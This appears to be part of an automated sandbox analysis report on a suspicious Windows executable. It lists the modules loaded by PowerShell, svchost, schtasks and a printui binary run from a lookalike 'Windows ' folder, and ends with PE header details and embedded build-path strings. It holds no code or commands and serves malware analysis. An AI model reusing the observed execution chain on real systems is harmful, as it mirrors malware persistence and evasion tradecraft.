Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	Section loaded: printui.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libcurl.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libpq.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libssl-3-x64.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libcrypto-3-x64.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libintl-9.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: libiconv-2.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 58VSNPxrI4.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 58VSNPxrI4.exe

Static file information: File size 14664704 > 1048576

Source: 58VSNPxrI4.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0xdb5c00

Source: 58VSNPxrI4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 58VSNPxrI4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 58VSNPxrI4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 58VSNPxrI4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 58VSNPxrI4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 58VSNPxrI4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 58VSNPxrI4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 58VSNPxrI4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdbGG source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb,,, source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848937066.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 00000020.00000002.1808546257.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 0000002A.00000002.1827116011.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2847753443.00007FFBAA01B000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2849098201.00007FFBC31F8000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2849098201.00007FFBC31F8000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848937066.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 00000020.00000002.1808546257.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 0000002A.00000002.1827116011.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: ucrtbased.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, ucrtbased.dll.13.dr
